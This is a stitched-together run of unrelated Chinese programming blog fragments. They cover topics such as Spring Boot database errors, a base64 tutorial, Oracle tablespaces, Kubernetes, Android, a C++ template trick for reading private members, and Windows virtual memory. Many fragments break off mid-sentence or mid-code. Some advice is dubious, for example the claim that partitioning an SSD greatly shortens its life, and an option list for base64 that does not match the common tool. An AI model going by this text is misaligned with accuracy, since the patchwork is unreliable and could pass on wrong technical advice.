文章目录 完美解决问题,主要是yml配置文件中数据库连接时密码的问题,前后加上引号.错误日志以前的配置文件现在的配置文件在Springboot中pom.xml文件连接数据库导入的jar包 完美解决问题,主要是yml配置文件中数据库连接时密码的问题,前后加上引号. 错误日志 java.sql.SQLNonTransientConnectionException: Could not create connection to database server. Attempted reconnect 3 times. Giving up. at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:110) ~[mysql-connector-java-8.0.27.jar:8.0.27] at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:97) ~[mysql-connector-java-8.0.27.jar:8.0.27] at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:89) ~[mysql-connector-java-8.0.27.jar:8.0.27] at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:63) ~[mysql-connector-java-8.0.27.jar:8.0.27] at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:73) ~[mysql-connector-java-8.0.27.jar:8.0.27] at com.mysql.cj.jdbc.ConnectionImpl.connectWithRetries(ConnectionImpl.java:898) ~[mysql-connector-java-8.0.27.jar:8.0.27] at com.mysql.cj.jdbc.ConnectionImpl.createNewIO(ConnectionImpl.java:823) ~[mysql-connector-java-8.0.27.jar:8.0.27] at com.mysql.cj.jdbc.ConnectionImpl.<init>(ConnectionImpl.java:448) ~[mysql-connector-java-8.0.27.jar:8.0.27] at com.mysql.cj.jdbc.ConnectionImpl.getInstance(ConnectionImpl.java:241) ~[mysql-connector-java-8.0.27.jar:8.0.27] at com.mysql.cj.jdbc.NonRegisteringDriver.connect(NonRegisteringDriver.java:198) ~[mysql-connector-java-8.0.27.jar:8.0.27] at com.alibaba.druid.pool.DruidAbstractDataSource.createPhysicalConnection(DruidAbstractDataSource.java:1657) ~[druid-1.2.8.jar:1.2.8] at com.alibaba.druid.pool.DruidAbstractDataSource.createPhysicalConnection(DruidAbstractDataSource.java:1723) ~[druid-1.2.8.jar:1.2.8] at com.alibaba.druid.pool.DruidDataSource$CreateConnectionThread.run(DruidDataSource.java:2838) ~[druid-1.2.8.jar:1.2.8] Caused by: com.mysql.cj.exceptions.CJException: Access denied for user 'root'@'localhost' (using password: YES) at sun.
为了对标准输入/输出或任何文件内容进行编码或解码,Linux 使用 base64 编码和解码系统。对数据进行编码和解码,使数据传输和存储过程更容易。编码和解码不同于加密和解密。通过解码可以很容易地揭示编码数据。所以,这个命令行实用工具不能用于数据安全。字母、数字和“=”符号用于对任何数据进行编码。
句法: base64 [选项] [输入文件] [输出文件] 您可以在 base64 命令中使用不同类型的选项。在编码或解码时,可以从任何文件或标准输入中获取数据。编码或解码后,您可以将输出发送到文件中或在终端中打印输出。
选项:
-e 或 –encode
此选项用于对来自标准输入或任何文件的任何数据进行编码。它是默认选项。
-d 或 –decode
此选项用于解码来自标准输入或任何文件的任何编码数据。
-n 或 –noerrcheck
默认情况下,base64 在解码任何数据时都会检查错误。您可以使用 –n 或 –noerrcheck 选项在解码时忽略检查。
-u 或 -help
此选项用于获取有关此命令的用法的信息。
-i, --ignore-garbage
此选项用于在解码时忽略非字母字符。
-版权
它用于获取版权信息。
-版本
用于获取版本信息。
本教程通过一些示例展示了如何在 Linux 中使用 base64 命令。
**
示例#1:编码文本数据 **
您可以在命令行中使用 base64 对任何文本数据进行编码。当您想使用 base64 对任何数据进行编码时,使用 -e 或 –encode 选项是可选的。因此,如果您没有提及 base64 的任何选项,那么它将适用于编码。以下命令将对数据“ linuxhint.com”进行编码,并将编码后的数据打印为输出。
$ echo 'linuxhint.com' | base64 输出:
**
示例#2:解码文本数据 **
一、Oracle的表空间 Oracle数据库开创性地提出了表空间的设计理念,这为Oracle数据库的高性能做出了不可磨灭的贡献。可以这么说,Oracle中很多优化都是基于表空间的设计理念而实现的。
ORACLE数据库被划分成称作为表空间 [1] 的逻辑区域——形成ORACLE数据库的逻辑结构。一个ORACLE数据库能够有一个或多个表空间,而一个表空间则对应着一个或多个物理的数据库文件。表空间是ORACLE数据库恢复的最小单位,容纳着许多数据库实体,如表、视图、索引、聚簇、回退段和临时段等。
1、Oracle中表空间的作用:
1.决定数据库实体的空间分配
2.设置数据库用户的空间份额
3.控制数据库部分数据的可用性;
4.分布数据于不同的设备之间以改善性能;
5.备份和恢复数据。
一个数据库可以包含多个表空间(主要用于存放表的区域),一个表空间只能属于一个数据库。同样,一个表空间内可以包含多个数据文件,但一个数据文件只能属于一个表空间。Oracle中至少存在一个表空间,即SYSTEM表空间,系统中默认存在的表空间System、Sysaux、users、undotbs1、Example、TEMP
2、表空间操作
注意操作表空间需要使用dba用户或拥有dba用户授予的权限
1.查看表空间(需要dba权限)
select * from v$tablespace; 2.查看表空间中的数据文件
select file_name,tablespace_name from dba_data_files; 3.创建表空间
create tablespace test_data datafile 'test_data01.dbf ' size 32m autoextend on next 32m maxsize 2048m extent management local; 4.删除表空间
drop tablespace test_data including contents and datafiles; 5.创建临时表空间
create temporary tablespace test_temp tempfile 'mp01.dbf' size 32m autoextend on next 32m maxsize 2048m extent management local; 临时表空间用来管理数据库排序操作以及用于存储临时表、中间排序结果等临时对象。
在我们的实际工作中,经常会碰到一些文本格式的数字,比如软件导出的数据。因为是文本格式,由此也产生了一系列的问题:为什么我的数据不能求和?明明是数字为什么计算结果是错误的?等等。
文本型数字一般是靠左对齐,单元格左上角有一个绿色三角形;数值一般是靠右对齐。
下面一起来看看怎么将文本型数字转换为数值:
1、转换为数字的方法
操作步骤:Excel 2019零基础小白逆袭Excel大神全套视频教程 | 知识兔
选中B2:B9单元格区域
点左上角感叹号后面的倒三角
选择【转换为数字】
2、分列的方法
操作步骤:
选中B列数据
在【数据】选项卡下【数据工具】组中选择【分列】
点【完成】
3、公式的方法
NUMBERVALUE函数:
输入公式:=NUMBERVALUE(B2)
VALUE函数:Excel 2019零基础小白逆袭Excel大神全套视频教程 | 知识兔
输入公式:=VALUE(B2)
转换成数值的公式还有很多,比如通过--、+0、-0、*1、/1、^1等等方法。
4、选择性黏贴的方法
flask部署在windows云服务器上进行公网访问 准备工作腾讯云轻量应用服务器相关软件python 3.9Apache 2.4mod_wsgi 安装配置python 3.9 安装Apache 2.4 安装mod_wsgi 安装 测试添加web测试实例云服务器本地测试公网测试 准备工作 腾讯云轻量应用服务器 1.学生云服务器购买地址。
https://cloud.tencent.com/act/campus?from=14599
安装镜像选择Windows Server 2019
购买时镜像选择错误不要紧,重置应用重新选择镜像即可。 地址:腾讯云> 云产品> 轻量应用服务器> 服务器> 概要
重置用户名和密码
配置端口
防火墙基本应用端口已打开,我们只需要添加8080端口即可。用于后面的公网访问。
相关软件 python 3.9 python 下载地址
https://www.python.org/downloads/
python安装时记得勾选添加环境变量
Apache 2.4 Apache 2.4下载地址
https://www.apachehaus.com/cgi-bin/download.plx
这是针对windows已经编译好的Apache版本
mod_wsgi 这里我们下载已经编译好的mod_wsgi
https://www.lfd.uci.edu/~gohlke/pythonlibs/#mod_wsgi
这里要注意的是mod_wsgi版本要与python版本一致,文件名里面有提示:
安装配置 python 3.9 安装 python 安装非常简单,这里就不多说了
Apache 2.4 安装 Apache 2.4下载以后是个压缩包,我们解压一下,文件重命名apache放在根目录下。
修改Apache配置文件。httpd.conf 39行
C:\apache\Apache24\conf\httd.conf
切换到Apache bin目录下执行
cd c:\apache\Apache24\bin httpd 浏览器输入localhost查看是否安装成功(我是配置好之后写的博文,localhost已经看不到Apache默认界面了,这里就直接文件展示一下)
mod_wsgi 安装 mod_wsgi下载后的文件名不要改,否则下面的命令会出错
把下载的.whl文件复制到python\Scripts下使用
不知道自己python安装到哪里,命令行输入python,进行python命令行输出,得到安装目录
R语言——什么是数据分析 数据 数据:是指对客观事件进行记录并可以鉴别的符号,是对客观事物的性质、状态以及相互关系等进行记载的物理符号或这些物理符合的组合
为什么要做数据分析 我们可以通过数据分析的结果来指导决策
数据分析的过程 数据采集---->数据存储---->数据分析---->数据挖掘---->数据可视化---->进行决策
1.数据采集 了解数据采集的意义在于真正了解数据的原始面貌,包括数据产生的时间、条件、格式、内容、长度、限制条件等。这会帮助数据分析师更有针对性的控制数据生产和采集过程,避免由于违反数据采集规则导致的数据问题;同时,对数据采集逻辑的认识增加了数据分析师对数据的理解程度,尤其是数据中的异常变化。
2.数据存储 在数据存储阶段,数据分析师需要了解数据存储内部的工作机制和流程,最核心的因素是在原始数据基础上经过哪些加工处理,最后得到了怎样的数据。由于数据在存储阶段是不断动态变化和迭代更新的,其及时性、完整性、有效性、一致性、准确性很多时候由于软硬件、内外部环境问题无法保证,这些都会导致后期数据应用问题。
3.数据统计 使用统计方法,有目的地对收集到的数据进行分析处理,并且解读分析结果
4.数据挖掘 数据挖掘是面对海量数据时进行数据价值提炼的关键,以下是算法选择的基本原则:
没有最好的算法,只有最适合的算法,算法选择的原则是兼具准确性、可操作性、可理解性、可应用性。
没有一种算法能解决所有问题,但精通一门算法可以解决很多问题。
挖掘算法最难的是算法调优,同一种算法在不同场景下的参数设定相同,实践是获得调优经验的重要途径。
在数据挖掘阶段,数据分析师要掌握数据挖掘相关能力。一是数据挖掘、统计学、数学基本原理和常识;二是熟练使用一门数据挖掘工具,Clementine、SAS或R都是可选项,如果是程序出身也可以选择编程实现;三是需要了解常用的数据挖掘算法以及每种算法的应用场景和优劣差异点。
5.数据可视化 即数据可视化的部分,数据分析师如何把数据观点展示给业务的过程。数据展现除遵循各公司统一规范原则外,具体形式还要根据实际需求和场景而定。
基本素质要求如下:
工具。FineBI是不错的展现工具。形式。图文并茂的基本原则更易于理解,生动、有趣、互动、讲故事都是加分项。原则。领导层喜欢读图、看趋势、要结论,执行层欢看数、读文字、看过程。场景。大型会议PPT最合适,汇报说明Word最实用,数据较多时Excel更方便。 最重要一点,数据展现永远辅助于数据内容,有价值的数据报告才是关键。
6.进行决策
springboot+vue
一, 遇到的问题:
问题一:java.lang.NoSuchMethodError:org.apache.poi.ss.usermodel.Cel1Style.setAlignment(S)V
这个问题有两个方面需要调试:
(1)pom文件中依赖的easypoi版本不兼容
(2)pom文件依赖不全 --详细的全部依赖后面会解释
问题二:后台正常运行,返回数据给前端,之后前端数据乱码解决
详细解决办法在下面第5条会解决
问题三: java.lang.IllegalArgumentException: lastRow < firstRow || lastCol < firstCol
这个问题大致是排序上有问题,但是,但是!!导入正确的包是不需要进行排序的!!千万不要导错包!!! 正确包为:
cn.afterturn.easypoi.excel.annotation.Excel; 1.首先pom依赖的相关文件
<dependency> <groupId>cn.afterturn</groupId> <artifactId>easypoi-base</artifactId> <version>3.2.0</version> </dependency> <dependency> <groupId>cn.afterturn</groupId> <artifactId>easypoi-web</artifactId> <version>3.2.0</version> </dependency> <dependency> <groupId>cn.afterturn</groupId> <artifactId>easypoi-annotation</artifactId> <version>3.2.0</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi</artifactId> <version>3.15</version> </dependency> 2.实体类注解@Excel 所依赖的包
cn.afterturn.easypoi.excel.annotation.Excel; !!!! 注意实体类引入的其他包会不同类型的错(深刻教训)
3.dao层和service层就不用过多解释了
4.controller层
public void export(HttpServletRequest request, HttpServletResponse response, TbSerRec tbSerRec) { QueryWrapper<TbSerRec> queryWrapper = new QueryWrapper<TbSerRec>(); queryWrapper.eq("bank_type", tbSerRec.getBankType()); if (tbSerRec.getBegin()!= null){ queryWrapper.
一个vue前端框架搭建 1.首先安装vue-cli脚本架,创建vue2.0项目 参考vue官网2.然后ui框架 这里我安装的是element-ui 走按需引用 然后创建el/index.js 复制按需引用的代码(参考element-ui官网)3. 在mian.js中引用 import './el/index.js';4.安装国际化(不需要国际化的可以忽略) 参考以下步骤:5.创建路由模块 搭建过程中启动提示缺少模块 按提示安装即可 1.首先安装vue-cli脚本架,创建vue2.0项目 参考vue官网 2.然后ui框架 这里我安装的是element-ui 走按需引用 然后创建el/index.js 复制按需引用的代码(参考element-ui官网) 3. 在mian.js中引用 import ‘./el/index.js’; 4.安装国际化(不需要国际化的可以忽略) 参考以下步骤: 创建i18n/index.js 代码如下 import Vue from 'vue'; import VueI18n from 'vue-i18n'; import locale from 'element-ui/lib/locale'; import messages from './lang'; window.VueI18n = VueI18n; Vue.use(VueI18n); const i18n = new VueI18n({ locale: 'zh', fallbackLocale: 'zh', silentFallbackWarn: true, silentTranslationWarn: true, messages: messages }); locale.i18n((key, value) => i18n.t(key, value)); export default i18n; 创建如下目录
文章目录 一、Deployment简介二、使用Deployment部署nginx1.编写yaml文件使用Deployment2、使用Service暴露nginx端口 三、滚动升级和回滚版本1、滚动升级2、回滚版本 一、Deployment简介 Deployment为Pod和ReplicaSet提供了一个声明式定义方法,在Kubernets中是一种资源控制器,用来替代以前的ReplicationController来方便管理应用,典型的应用场景包括:
定义Deployment来创建Pod和ReplicaSet滚动升级和回滚应用扩容和缩容暂停和继续Deployment 二、使用Deployment部署nginx 实验环境:
K8s集群可以正常使用K8s可以正常从镜像仓库拉取镜像 1.编写yaml文件使用Deployment 代码如下:
[root@k8s-master test]# cat nginx-deployment.yaml apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deploy spec: selector: #定义标签选择器 matchLabels: #定义匹配的标签,必须要设置 app: nginx #匹配的目标标签 replicas: 3 #开启Pod的数量 template: #定义模板,必须定义,模板是起到描述要创建的pod的作用 metadata: #定义模板元数据 labels: #定义模板label,Deployment.spec.template.metadata.labels app : nginx #定义标签,必须等于 matchLabels 定义的标签 spec: containers: - image: msxt.harbor.com/k8s/nginx:1.18.0 #我的镜像是从本地的Harbor上拉取 name: nginx #镜像名称 ports: - containerPort: 80 #定义容器使用的端口 上面是使用Deployment控制器部署nginx
运行yaml文件
kubectl apply -f nginx-deployment.yaml 查看Deployment状态
kubectl get deployment 查看pod
Spring Cloud Alibaba Sentinel在配置规则持久化时,按照官网的教程使用nacos作为数据源来配置,但在完成后,启动应用并调了一次接口后,发现sentinel-dashboard控制台并没有加载到Nacos中的规则配置信息,日志里没有异常信息,但有一句警告信息:converter can not convert rules because source is empty,后来我尝试在数据源的nacos配置中加上namespace id,因为配置文件不是在默认的namespace里,结果就可以了。
问题 下面是我不能跳转得原代码
<from action="${pageContext.request.contextPath}/success" method="get"> 用户名:<input type="text" name="username"> <br> 密码: <input type="password" name="password"> <br> 登录: <input type="submit"> </from> 相信你们已经看出来了,是form,不是from。手快打错了,我的idea竟然没有报错,还运行出来了,只不过我点提交按钮没有反应。
改过来以后,发现可以跳转了,但是!
(图片是从网上找的,我已经搞好了不想再弄成错误的页面太麻烦了) 我的指定本文件的${pageContext.request.contextPath}被当做字符串解析了。
找了半天发现是idea生成的web.xml 的web-app版本居然是2.3,2.3之后的版本才支持el表达式的。
解决办法 <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version="3.1"> 更换成3+版本完美解决
之前写过一篇文章介绍的是设置系统时间和日期,其中用到了安卓原生系统的DateickerDialog和TimePickerDialog,原文在下面链接:
https://blog.csdn.net/zhouhangzooo/article/details/106509380
最近一段时间我才发现这两个对话框有一个问题:在设置时间和日期时,如果不是滑动,而是编辑数据,会出现软键盘输入框,点击取消或完成之后,这个输入框不会自动关闭,由于我做的是定制系统,去掉了底部导航栏,所以非常不友好,于是我们需要主动去关闭这个软键盘。
我们只需要在取消和完成的执行按钮下增加方法closeSoftInput();
private void closeSoftInput() { InputMethodManager manager = ((InputMethodManager)getSystemService(INPUT_METHOD_SERVICE)); manager.hideSoftInputFromWindow(timePicker.getCurrentFocus().getWindowToken(),InputMethodManager.HIDE_NOT_ALWAYS); } timePicker是TimePickerDialog对象,如果想要关闭DatePickerDialog传入相应对象即可。
下面是强制打开\关闭软键盘的方法,执行此方法,如果当前软键盘是打开的会执行关闭,反之如果软键盘是关闭状态的话则会打开。
InputMethodManager imm = (InputMethodManager)this.getSystemService(this.INPUT_METHOD_SERVICE); imm.toggleSoftInput(InputMethodManager.HIDE_IMPLICIT_ONLY, 0); 下面是我封装的方法
import android.content.Context; import android.view.inputmethod.InputMethodManager; import android.widget.EditText; public class SoftInputUtil { public static void show(Context context, EditText et) { et.requestFocus(); InputMethodManager imm = (InputMethodManager) context.getSystemService(Context.INPUT_METHOD_SERVICE); imm.showSoftInput(et, InputMethodManager.SHOW_IMPLICIT); } public static void hide(Context context, EditText editText){ InputMethodManager imm = (InputMethodManager) context.getApplicationContext().getSystemService(Context.INPUT_METHOD_SERVICE); imm.hideSoftInputFromWindow(editText.getWindowToken(), 0); } } 下面是完整代码
private void setDate() { getDate(); if (datePicker == null) { datePicker = new DatePickerDialog(this, DatePickerDialog.
网上关于sqlldr使用介绍很多,但win10开发机器下的具体操作不详细。如下记录详细操作步骤,希望以后用到有所帮助。
1.CMD打开命令窗口
2.找到sqlldr.exe所在路径,cd 进入对应所在目录
3.在命令行中输入sqlldr username/password@ip:port/SchemaName control=input.ctl回车
Tips:
a.待导入excel文件需另存为***.csv文件
b.如上操作需本地安装oracle客户端
c.简单SQL脚本代码input.ctl如下
load data --控制文件表示 infile 'D:\20211115.csv' --有导入的数据文件名 append into table t_prem_5 --向表t_prem_5中追加记录 fields terminated by ',' --指定用逗号分隔 OPTIONALLY ENCLOSED BY '"' TRAILING NULLCOLS --表的字段没有对应值时允许为空 ( grp_pol_no, pol_no, product_no ) d.sqlldr原理参考这篇sqlldr介绍
e.sqlplus连接数据库:输入username/password@ip:port/SchemaName,回车
pr*r/pr****1@10..*.*9:12/A*******UAT.
设计模式分类 设计模式根据目的可分为三大类:
创建型模式,共五种:工厂方法模式、抽象工厂模式、单例模式、建造者模式,原型模式。
结构性模式,共七种:适配器模式、装饰器模式、代理模式、外观模式、桥接模式、组合模式、享元模式。
行为型模式,共十一种:策略模式、模板方法模式、观察者模式、迭代子模式、责任链模式、命令模式、备忘录模式、状态模式、访问者模式、中介者模式、解释器模式。
设计模式的7大原则:
单一原则(SRP):一个类(或方法)只做一件事。
开放-封闭原则(OCP):软件实体(类、模块、函数)可以拓展,但是不可修改
依赖倒转原则(DIP):高层模块不应该依赖底层,两者都应该依赖其抽象;抽象不应该依赖细节,细节应该依赖抽象。核心思想:面向接口编程,不要面向实现编程。
里氏代换原则(LSP):子类必须能够替换其父类。子类可以扩展父类的功能,但不能改变父类原有的功能。
接口隔离原则(ISP):尽量将臃肿庞大的接口拆分成更小的和更具体的接口,让接口中只包含客户感兴趣的方法。
迪米特法则(LoD):如果两个类不必直接通信,那么这两个类不应当发生直接的相互作用。如果其中一个类需要调用另一个类的某一个方法的话,可通过第三者发起这个调用。
合成复用原则(CARP):尽量先使用组合或者聚合等关联关系来实现,其次才考虑使用继承关系来实现。
类之间的关系 UML 将事物之间的联系归纳为 6 种,并用对应的图形类表示。下面根据类与类之间的耦合度从弱到强排列。UML 中的类图有以下几种关系:依赖关系、关联关系、聚合关系、组合关系、泛化关系和实现关系。其中泛化和实现的耦合度相等,它们是最强的。
23种设计模式总览: 分类设计模式简述一句话归纳目的生活案例创建型设计模式(简单来说就是用来创建对象的)工厂模式(Factory Pattern)不同条件下创建不同实例产品标准化,生产更高效封装创建细节实体工厂单例模式(Singleton Pattern)保证一个类仅有一个实例,并且提供一个全局访问点世上只有一个我保证独一无二CEO原型模式(Prototype Pattern)通过拷贝原型创建新的对象拔一根猴毛,吹出千万个高效创建对象克隆建造者模式(Builder Pattern)用来创建复杂的复合对象高配中配和低配,想选哪配就哪配开放个性配置步骤选配结构型设计模式(关注类和对象的组合)代理模式(Proxy Pattern)为其他对象提供一种代理以控制对这个对象的访问没有资源没时间,得找别人来帮忙增强职责媒婆外观模式(Facade Pattern)对外提供一个统一的接口用来访问子系统打开一扇门,通向全世界统一访问入口前台装饰器模式(Decorator Pattern)为对象添加新功能他大舅他二舅都是他舅灵活扩展、同宗同源煎饼享元模式(Flyweight Pattern)使用对象池来减少重复对象的创建优化资源配置,减少重复浪费共享资源池全国社保联网组合模式(Composite Pattern)将整体与局部(树形结构)进行递归组合,让客户端能够以一种的方式对其进行处理人在一起叫团伙,心在一起叫团队统一整体和个体组织架构树适配器模式(Adapter Pattern)将原来不兼容的两个类融合在一起万能充电器兼容转换电源适配桥接模式(Bridge Pattern)将两个能够独立变化的部分分离开来约定优于配置不允许用继承桥行为型设计模式(关注对象之间的通信)模板模式(Template Pattern)定义一套流程模板,根据需要实现模板中的操作流程全部标准化,需要微调请覆盖逻辑复用把大象装进冰箱策略模式(Strategy Pattern)封装不同的算法,算法之间能互相替换条条大道通罗马,具体哪条你来定把选择权交给用户选择支付方式责任链模式(Chain of Responsibility Pattern)拦截的类都实现统一接口,每个接收者都包含对下一个接收者的引用。将这些对象连接成一条链,并且沿着这条链传递请求,直到有对象处理它为止。各人自扫门前雪,莫管他们瓦上霜解耦处理逻辑踢皮球迭代器模式(Iterator Pattern)提供一种方法顺序访问一个聚合对象中的各个元素流水线上坐一天,每个包裹扫一遍统一对集合的访问方式逐个检票进站命令模式(Command Pattern)将请求封装成命令,并记录下来,能够撤销与重做运筹帷幄之中,决胜千里之外解耦请求和处理遥控器状态模式(State Pattern)根据不同的状态做出不同的行为状态驱动行为,行为决定状态绑定状态和行为订单状态跟踪备忘录模式(Memento Pattern)保存对象的状态,在需要时进行恢复失足不成千古恨,想重来时就重来备份、后悔机制草稿箱中介者模式(Mediator Pattern)将对象之间的通信关联关系封装到一个中介类中单独处理,从而使其耦合松散联系方式我给你,怎么搞定我不管统一管理网状资源朋友圈解释器模式(Interpreter Pattern)给定一个语言,定义它的语法表示,并定义一个解释器,这个解释器使用该标识来解释语言中的句子我想说”方言“,一切解释权都归我实现特定语法解析摩斯密码观察者模式(Observer Pattern)状态发生改变时通知观察者,一对多的关系到点就通知我解耦观察者与被观察者闹钟访问者模式(Visitor Pattern)稳定数据结构,定义新的操作行为横看成岭侧成峰,远近高低各不同解耦数据结构和数据操作KPI考核委派模式(Delegate Pattern)允许对象组合实现与继承相同的代码重用,负责任务的调用和分配这个需求很简单,怎么实现我不管只对结果负责授权委托书
额外小知识: 实例化:用具体值去代替模版的参数这一行为, 生成一个具体类
template struct Rob<A_f, &A::a>; 特化:由于某种类型的逻辑需要特殊考虑,模版的范型不能描述。所以对这种特殊情况需要单独写一个特例模版。
template<> struct Rob<A_f, &A::a>; 注意看两者的差别
对于类的私有成员在不修改类代码的情况下,该怎么做呢
方法一: 利用 c++的内存布局,见前面的文章
c++ 内存布局模型
1.1节 pri_short_a 的访问
方法二: 写一个内存布局一模一样的类,然后对应成员的访问级别为 public
方法三: 利用模板 + 友元
#include <iostream> #include <utility> #include <string> #include <cstring> #include <vector> #include <map> #include <set> #include <stack> #include <queue> #include <unordered_map> #include <unordered_set> #include <algorithm> #include <numeric> #include <fstream> using namespace std; template<typename Tag, typename Tag::type M> struct Rob { // 这个友元函数是一个全局函数的存在, 因为是类内友元函数所以外面某个地方必须再次给出声明 friend typename Tag::type get(Tag) { return M; } }; // use struct A { A(int a) : a(a) {} private: int a; }; // tag used to access A::a struct A_f { typedef int A::*type; // 也可以在此声明 //type get(A_f); }; // 这个函数和实例化的那个函数一, 再次声明声明函数 // 友元函数使用时得再次声明, 可以在全局作用域, 也可以在某个其他类里声明 int A::* get(A_f); // 实例化内部的友元函数, 这是实例化, 生成一个具体类 template struct Rob<A_f, &A::a>; int main() { A a(42); std::cout << "
目录
1.问题现象
2.问题实质
3.问题原因 4.解决方法
1.问题现象 如果VO实体用@Data注解生成get/set,对于首字母小写,第二个字母大写的成员变量,@RequestBody无法完成自动映射,取值为null
2.问题实质 Lombook的@Data注解和Spring的Jackson对于get/set的生成方式不同
3.问题原因 private String xIndex; 对于这种首字母小写,第二个字母大写的成员变量,Lombook生成的get/set方法如下:
但Jackson和Idea生成的get/set方法如下:
因为Lombook和jackson生成set方法的方式不同,造成SpringMVC在映射VO字段时无法找到setxIndex()方法(因为Lombook生成的是setXIndex),故自动映射失败
4.解决方法 利用Idea生成符合Spring规范的get/set(略low) 利用@JsonProperty(value = "xIndex"),强制Jackson在反序列化时给属性重新命名
借鉴博文:Lombok首字母小写,第二个字母大写的问题 - 简书
Naming convention for getters/setters in Java - Stack Overflow
https://github.com/projectlombok/lombok/issues/757
参考:
npm 设置taobao源 - 简书 (jianshu.com)https://www.jianshu.com/p/6eaff5706d4d
11月12日,由中国电信集团网络和信息安全管理部主办的2021网信安全生态合作论坛暨天翼网信安全产业联盟成员大会在广州顺利举办。
作为国内云安全CWPP领导厂商,安全狗也收到邀请,以联盟成员单位的身份出席此次活动。
此次活动以“和合共生 推动网信安全生态发展”为主题,并相继进行了天翼安全大脑、安全管家、城市生命线等的发布;并且还有优秀实践案例颁奖、实训基地授牌、联盟新成员授牌活动有序进行。在此次论坛上,联盟成员授牌活动吸引了众多嘉宾的关注。
据悉,天翼网信安全产业联盟由中国电信集团有限公司发起,分别有业界知名高校、科研机构、网信安全软硬件系统供应商、服务提供商、系统集成商等产业合作伙伴成员单位。联盟以“构建安全生态,联合产品创新,做大产业规模,共享能力资源,推动网信安全产业发展,筑牢新基建的安全底座”为宗旨。
在以5G、AI智能为代表的高科技快速发展的新时代下,网络安全技术也成为我国经济、文明发展的重要一股生产力。5G科技对云计算的改变、AI大数据对数字产业的推动、物联网对人们智能家居生活的改造等等,催生了系列的新兴产业,但也带来了相应的黑灰产业、数据泄露、个人隐私被侵犯、数据劫持等犯罪事件,为企业、国家带来了严重的经济损失。企业用户亟需在分析自身企业安全现状的基础上,及时洞悉网络安全的市场风向,打造适合自身发展计划的网络安全体系。
作为一家专注于云工作负载安全(CWPP)的厂商,安全狗依托安全行业里领先的专业技术团队优势,打造并推出的健全的完整的网络安全解决方案以及高效的安全服务、稳定的安全能力,已经服务了包括国家部委、地方政府、央企、国企、世界500强、独角兽企业等在内的上百家大型客户以及数千家中小企业客户,涵盖了能源、金融、教育、医疗、互联网、电信运营商等多个行业,包揽了多项国家级技术支撑单位荣誉、荣膺公安三所、Gartner、CSA等国内外权威专业机构的认可。
安全狗成为成员单位之一
除了备受关注的联盟成员单位授牌仪式外,安全狗的安全专家们也在现场展示了安全狗旗下所有安全产品,吸引了众多嘉宾的围观。部分企业还向安全狗专家们咨询了如何安全地上云、如何安全地进行数字经济转型等问题,安全狗专家们结合自己多年的安全项目实践经验以及对应的有效产品,为询问的嘉宾们提供了对应的思路方向与解决方案。
此次安全狗成为联盟成员单位,不仅是天翼网信安全产业联盟对安全狗在国内云安全生态影响力的认可,更是彼此进一步在网信安全领域里资源互补、强强联合的良好机会。未来,安全狗将继续扩大和巩固自身的安全专业优势,持续改善和优化公司的技术研发体系、产品生产体系、服务支撑体系和管理流程;依托国家鼓励软件和云安全产业发展的若干政策,紧密跟踪国际、国内技术发展趋势和市场需求动向,继续坚持创新,高速成长,以更加优质的研发成果为包括天翼网信安全产业联盟在内的合作伙伴创造更大的价值,为国家网络安全体系的健康与稳定发展保驾护航。
Flink-exporter部署文档 一、Flink配置 1.拷贝 opt目录下的flink-metrics-prometheus-1.7.2.jar 到lib目录 2.编辑conf/flink-conf.yml metrics.reporter.promgateway.class: org.apache.flink.metrics.prometheus.PrometheusPushGatewayReporter metrics.reporter.promgateway.host: 192.168.XX.XX metrics.reporter.promgateway.port: 19091 metrics.reporter.promgateway.jobName: myJob metrics.reporter.promgateway.randomJobNameSuffix: true metrics.reporter.promgateway.deleteOnShutdown: false 3.重启Flink集群:bin/stop-cluster.sh bin/start-cluster.sh 二、PushGateWay部署 下载地址:
https://github.com/prometheus/pushgateway/releases/download/v1.4.2/pushgateway-1.4.2.linux-amd64.tar.gz
可以用 ./pushgateway -h 查看运行选项,./pushgateway 运行 pushgateway, 如果看到类似输出,表示启动成功。
INFO[0000] Starting pushgateway (version=0.4.0, branch=master, revision=6ceb4a19fa85ac2d6c2d386c144566fb1ede1f6c) source=main.go:57 INFO[0000] Build context (go=go1.8.3, user=root@87741d1b66a9, date=20170609-12:26:14) source=main.go:58 INFO[0000] Listening on :19091. source=main.go:102 我这里改了默认端口:
nohup ./pushgateway --web.listen-address=’:19091’ &
最后访问192.128.XX.XX:19091,如果有数据则部署成功!
虚拟内存就是把硬盘空间当作内存来使用,在内存不足的情况下可以提升一定的性能.有网友想了解自己的win10电脑虚拟内存怎么设置最好,下面小编就教下大家win10设置虚拟内存最好的方法.
1.打开电脑,在“我的电脑”上右键查看属性。
2.选择'高级系统设置'。
3.在弹出的面板,选择'设置'选项。
4.弹出一个“性能”选项“,点选上面的“高级”,“选择”修改”。
5.去掉对勾,选择'Custom',托管选择C盘。(前1/3的硬盘读写速度最快,之后衰减很快,所以机械硬盘推荐将1/3、d盘1/3给c盘,把软件全部装在C盘上,避免磁头在cd间来回定位,影响读取速度,电源音乐下载什么的就放d盘,ssd固态硬盘千万不能分区,将大大缩短ssd的寿命)
6.设置内存大小通常使用默认值,如果感觉到内存不足,就重新设置,建议最多不超过2倍实际内存(内存越小,磁头定位得越快,效率也就越高),所以,设置好,点击确定,重新启动系统就可以应用设置。
